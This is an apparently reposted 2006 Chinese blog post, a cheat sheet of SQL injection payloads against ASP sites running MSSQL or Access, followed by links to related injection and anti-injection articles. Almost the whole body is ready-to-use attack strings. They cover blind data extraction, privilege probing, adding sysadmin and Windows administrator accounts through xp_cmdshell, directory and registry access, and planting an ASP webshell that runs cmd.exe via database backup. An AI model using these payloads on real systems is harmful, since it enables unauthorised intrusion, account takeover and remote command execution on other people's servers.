全面了解ASP注入方法

转载 2006年06月15日 11:13:00

1.判断是否有注入
;and 1=1
;and 1=2

2.初步判断是否是mssql
;and user>0

3.注入参数是字符
'and [查询条件] and ''='

4.搜索时没过滤参数的
'and [查询条件] and '%25'='

5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

6.猜数据库
;and (Select Count(*) from [数据库名])>0

7.猜字段
;and (Select Count(字段名) from 数据库名)>0

8.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(SELECT IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:/'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看文件的内容

13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion',
'TestValueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<% Dim oScript %>');
backup database model to disk='c:/l.asp';

15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

 

16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='g:/wwwtest/l.asp';

 

全面了解ASP注入方法

>1.判断是否有注入;and 1=1;and 1=22.初步判断是否是mssql;and user>03.注入参数是字符and [查询条件] and =4.搜索时没过滤参数的and [查询条件] an...
  • lenhan12345
  • lenhan12345
  • 2007年03月02日 14:52
  • 602

彻底解决asp注入漏洞不再任人宰割!绝对原创!

本人最近研究彻底解决asp注入漏洞的方法!希望大家多提建议原理,就是象java一样使用preparestatement.下面例子连接的是sql server数据库代码如下:PrepareSql.asp...
  • weizhonghua1978
  • weizhonghua1978
  • 2006年07月21日 10:35
  • 1769

不支持union select 时的asp手工注入方法

首先看一个简单的站点 这种站点, 一眼看了, 都是有漏洞的多。 上面的站, 是支持union select 注入的。 但这里说的是不支持union select 注入的情况, 所...
  • hope_smile
  • hope_smile
  • 2015年06月10日 03:31
  • 1393

SQL注入系列之ASP+ACCESS手动注入(一)----数字型

一、access数据库 1.简介 Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形...
  • u011781521
  • u011781521
  • 2016年12月30日 17:45
  • 3935

防止GET和POST方式引起的SQL注入攻击ASP程序

编写通用的SQL防注入程序一般的http请求不外乎get 和 post,所以只要我们在文件中过滤所有post或者get请求中的参数信息中非法字符即可,所以我们实现http 请求信息过滤就可以判断是是否...
  • icecoldheart
  • icecoldheart
  • 2008年01月11日 09:17
  • 3318

ASP注入原理及手工入侵经过

 首先声明几点:一、关于发这篇帖子没有其他的意思,只是想和大家一起学习而已,在学习中提高自己。二、关于郑州某大学,我已经和他们的管理员联系了,告诉了他们网站的这个漏洞,相信他们很快就会补好。入侵不存在...
  • gujiannan
  • gujiannan
  • 2006年08月24日 23:37
  • 3899

渗透测试:SQL注入攻击(ASP)

分类: 渗透测试 SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员...
  • FireHell
  • FireHell
  • 2014年11月29日 15:34
  • 3580

asp+access sql手工注入步骤

理论介绍 数据库结构 access数据库 表 列 单元数据 实例 目标网址:http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?...
  • Geecky
  • Geecky
  • 2016年05月02日 17:29
  • 5008

ASP中SQL不完全思路与防注入程序

引:http://blog.csdn.net/oosky2004/SQL注入简介许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,(一般...
  • feng19821209
  • feng19821209
  • 2005年01月19日 22:18
  • 1639

web渗透(asp数字型注入模拟实战)

昨晚花了一整晚的时间找一套没有防注入的网站源码,太难找了,今天六点多就起床,终于找到了。(原谅我笨) 打开虚拟机→打开asp小旋风→将网站程序放到asp小旋风下的wwwroot目录,打开网址http:...
  • ccrookie
  • ccrookie
  • 2015年06月19日 08:11
  • 1974
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:全面了解ASP注入方法
举报原因:
原因补充:

(最多只允许输入30个字)